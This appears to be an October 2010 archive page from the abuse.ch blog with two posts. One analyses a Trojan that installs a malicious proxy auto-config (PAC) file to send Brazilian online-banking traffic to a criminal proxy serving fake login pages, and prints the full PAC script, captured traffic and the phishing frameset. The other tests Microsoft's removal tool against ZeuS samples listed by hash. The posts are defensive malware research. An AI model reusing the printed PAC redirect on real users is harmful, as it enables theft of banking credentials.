Monthly Archive for October, 2010

Phishing eBanking Credentials Using Web-Proxies

Everybody is talking about banking Trojans like Mebroot, Gozi, ZeuS and SpyEye and how sophisticated they are. But in this post I would like to show you a different and very simple way that cybercriminals can get your banking credentials without using sophisticated Trojans.

While taking a look at the latest malware binaries on AMaDa I came across a sample which have made a suspicious GET request to a .CH website. The HTTP GET request made by the infected machine looks like this:

GET /pages/dyn/dyn/logs HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Win32)
Host: www.*hidden*.ch

The request was made to a hijacked website, therefore I’ve disclosed the address. But what I can say is that the website happens to belong to a Swiss party of the right wing.

The content the infected machine got back from the site looks very suspicious:

<script type='text/javascript'>
function FindProxyForURL(url, host) {
var d = new Array("www.bradesco.com.br","bradesco.com.br","bradesco.com",
"www.bradescoprime.com.br","bradescoprime.com.br");
for(var i =0;i<d.length;i++) { if (shExpMatch(host, d[i])) {
return "PROXY 216.108.232.211:80"; } }

var n = new Array("www.bb.com.br","bb.com.br","www.bancodobrasil.com.br",
"bancodobrasil.com.br","www.bancobrasil.com.br","bancobrasil.com.br",
"www.itau.com.br","itau.com.br","www.itaupersonnalite.com.br",
"itaupersonnalite.com.br","banrisul.com.br","www.banrisul.com.br",
"real.com.br","www.real.com.br","www.bancoreal.com.br","bancoreal.com.br",
"www.santander.com.br","santander.com.br","www.banespa.com.br","banespa.com.br");
for(var i =0;i<n.length;i++) { if (shExpMatch(host, n[i])) {
return "PROXY 216.108.232.211:80"; } }

var c = new Array("www.caixa.gov.br","caixa.gov.br","internetbanking.caixa.com.br",
"www.caixa.com.br","caixa.com.br","www.cef.gov.br","cef.gov.br",
"www.cef.com.br","cef.com.br","www.caixaeconomica.com.br","caixaeconomica.com.br");
for(var i =0;i<c.length;i++) { if (shExpMatch(host, c[i])) {
return "PROXY 216.108.232.211:80"; } }

return "DIRECT"; }

Hum… JavaScript code. Does it ring a bell? That’s a PAC file! For those who are not familiar with PAC files: A PAC file is a so called Proxy Auto-Config file which is supported by various web browser to automatically configure the proxy settings of the browser. PAC files are most often used in cooperate networks to tell the web browser to automatically choose the appropriate proxy server (see Wikipedia).

But one question remains: What’s the intend of this PAC file? Well as you probably noticed there are some interesting domain names defined in the PAC file for example internetbanking.caixa.com.br. If you visit the domains listed above you will notice that all of them are websites of Brazilian Banks.

In fact this means: Whenever a victim visits a website listed in the PAC file using a infected computer, the request will be routed thorught the following web proxy which is located in the USA:

Proxy Host: 216.108.232.211
Proxy Port: 80
AS number: AS26277
AS name: PREMIANET – Las Vegas NV Datacenter
Country: US

OK, let’s summarize: The victims browser is now using a web proxy which is obviously managed by cybercriminals and used to steal credentials of online banking accounts. But how do the cybercriminals manage to get the credentials? Remember that you can not easily do a man in the middle (MITM) attack on an ebanking session due to the fact that you are using SSL to communicate with your online bank. So if they would do a MITM between your computer and your online bank you would get a certificate warning from your web browser, right?

I was very curious as to how the cybercriminals solved this problem, so I decided to infect a VM with the Trojan and take a closer look at it.

After infecting the computer with the Trojan I tried to open www.google.ch in the web browser:

XXX.XXX.XXX.XXX.01036-209.085.135.104.00080:
GET / HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.google.ch
Connection: Keep-Alive

Let’s do a short crosscheck on this:

$ dig +short www.google.ch
www.google.com.
www.l.google.com.
209.85.135.105
209.85.135.106
209.85.135.147
209.85.135.99
209.85.135.103
209.85.135.104

Looks good: The web browser communicated directly to www.google.ch (209.85.135.104) without using the cybercriminal’s proxy.

Let’s do another test and this time we use www.banrisul.com.br which is listed in the PAC-file. This means that for this URL the web browser should use the web proxy instead of going to the website directly:

XXX.XXX.XXX.XXX.01038-216.108.232.211.00080:
GET http://www.banrisul.com.br/ HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.banrisul.com.br
Proxy-Connection: Keep-Alive

A short crosscheck:

$ dig +short www.banrisul.com.br
201.55.240.10

As expected the web browser uses the cybercriminal’s web proxy (216.108.232.211) instead of connecting to the banks website directly – that’s bad. What is interesting is the content which we get back from the cybercriminal’s web proxy:

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 302
Connection: close
Content-Type: text/html; charset=UTF-8

<title>Portal Internet Banrisul  | Banco do Estado do Rio Grande do Sul, S.A. </title>
<LINK REL="SHORTCUT ICON" href="banrisul.ico" type="image/x-icon">
<frameset rows="100%" border="0" frameborder="0" framespacing="0"><br /><br />
<frame name=top src=http://www.moser.in.rs/_//banrisul></frameset>

That’s not what I’ve expect: This is not the website of the bank we wanted to visit! It’s simple HTML code with a frameset pointing to a different website:

http://www.moser.in.rs/_//banrisul

It’s seems to be a legitimate website running Joomla CMS. So most probably this website is hijacked because if we take a look at the “banrisul” directory we will see a replica of the Bank’s website we originally wanted to visit. In the victims web browser it will look like this:

Please notice that the address bar still displays the website of the banking site which we originally wanted to visit. But if we move the cursor over a hyper link on the website we will see the website it is really pointing to. If the victim now want to login to his online bank he will get a web form which animates the victim to enter his account number, password and PIN/TAN:

Of course the credentials won’t be submitted to his online bank rather then to the cybercriminals.

Conclusion
This is a pretty interesting example which shows how easy it can be for cybercriminals to obtain credentials for online banking accounts. If we summarize this simple phishing we are able to make the following conclusions:

  • The cybercriminals does not need to do a MITM, they just fake the website of your online bank. Pretty simple but very effective!
  • Everything that the cybercriminal needs do to on the victims side (client) is to change the address of the PAC-file in the web browser
  • To change the that PAC-files address, the cybercriminals doesn’t even need to install a Trojan horse: They just need a small script which changes a registry key
  • Therefore there is no Trojan horse which can be detected by the AV vendors because changing the address of the PAC file don’t have to be a malicious activity
  • The only chance to mitigate the threat is to detect the malicious script/binaries which change the address of the PAC file before the infection

If the AV-vendors are not able to detect the malicious file before the infection happens, the last line of defense is the network by detecting and mitigating the malicious traffic to the cybercriminal’s web proxy on the network layer. And at least in this case it is another example how poor the AV detection rate can be:

File name: foto.exe
File size: 372224 bytes
MD5: 91a42b9bdca567c31fe1692c13a9de1d
SHA1: 79497ebc0372c8c5352b2f30f9ddb2d0965de3fa
VT Result: 1 /42 (2.4%)

Are the cybercriminals going away from classic eBanking Trojans like ZeuS & Co and go over to the scheme described above? We will see what the future brings…

You can also follow abuse.ch on Twitter: twitter.com/abuse_ch

Microsoft Adds ZeuS Detection To MSRT

As of October 12th 2010, the MSRT Team added detection for the ZeuS crimeware (also known as Zbot and WSNPoem) on Microsoft’s Malicious Software Removal Tool (MSRT):

For those who don’t know: MSRT is being distributed to WinXP, WinVista and Win7 automaticly using Windows Update Service. Of course these are really great news but the thing which worries me a little bit is the fact that Microsoft waited years until they finally added detection for the ZeuS Crimeware. ZeuS has been a big threat in the cyberspace for years and has already managed to steal millions of dollars.

MSRT’s ZeuS detection rate

I thought it would be a good idea to test MSRT’s detection for ZeuS by running some quick tests. I’ve tested 20 ZeuS infection binaries (v2) by infecting a VM with the following test conditions:

OS: WinXP SP3
MSRT Version: Kb890830 (2010-10-12)

Below are the results of my tests:

Infection binary (MD5) ZeuS Version MSRT Result Virustotal
a7d9996744d7129dc6af94d5827006e0 2.0.7.0 missed 4/43 (9.30%)
4e6114b5cbfbd5eeb0cea380c3416b2a 2.0.7.0 detected 32/43 (74.40%)
20d1b5c8b868ecf314d5b7d50188f55f - detected 38/41 (92.70%)
70bda659bf0852c1ce96532df3b57021 1.2.10.1 detected 20/43 (46.50%)
a2ba908c3fe7f2bd99ad0c6e31c24995 2.0.7.0 detected 6/43 (14.00%)
e206407083a772a015a21f0398f0fbf0 2.0.7.0 missed 8/43 (18.60%)
ace6aec48663a0179af2e60cceb2ebb4 2.0.7.0 missed 10/43 (23.30%)
92b58d067b13f47d14a4747af07b2d10 2.0.1.1 detected 6/41 (14.60%)
6250a5c48f5aff26474e9eaff4d0520c 2.0.7.0 missed 6/41 (14.60%)
d6c169be176e60a67780feb48327b2ab 2.0.7.0 detected 12/43 (27.90%)
21102185c207602505d45019f5d782b9 2.0.7.0 missed 10/43 (23.30%)
fc797f7b8a20ab4e6ce2df39ae41069f - missed 20/42 (47.60%)
e8f83eefe8069c360c73bf7127426155 2.0.7.0 detected 33/43 (76.70%)
cf11173481abb10e92246be92d8304dc 2.0.7.0 detected 17/42 (40.50%)
b64b598e6b5106d770f94c659bc994d5 2.0.7.0 missed 0/43 (0.00%)
359316aa5901613a3ad4f9265a93c600 2.0.7.0 detected 13/42 (31.00%)
2c9702bf84a7c9a094109ff2fe0a7910 - missed 3/42 (7.10%)
b0fe715bce28f9c3e48520f23c7cf8fe - detected 10/43 (23.30%)
d52d8bea0bd22be5382e05b9e787ff5d 2.0.7.0 missed 3/43 (7.00%)
78edc0048427103a3f785fe8ac453d30 2.0.7.0 missed 1/43 (2.30%)
Total   Detected: 10, Missed: 10  

Microsoft’s Malicious Software Removal Tool was able to identify 10 out of 20 infected systems which is a detection rate of 50%.

Conclusion

During the tests I noticed that in most of the cases you need to run a fullscan with MSRT to detect a ZeuS infection. Please also note that these are some quick tests from my side and don’t necessarily represent the real detection rate of MSRT on ZeuS.

I’m really curious about the number of infections detected by MSRT world wide. Hopefully Microsoft will publish some data in the next few days.

PS: You can also follow abuse.ch on Twitter: twitter.com/abuse_ch




economics-recluse
Scene
Urgent!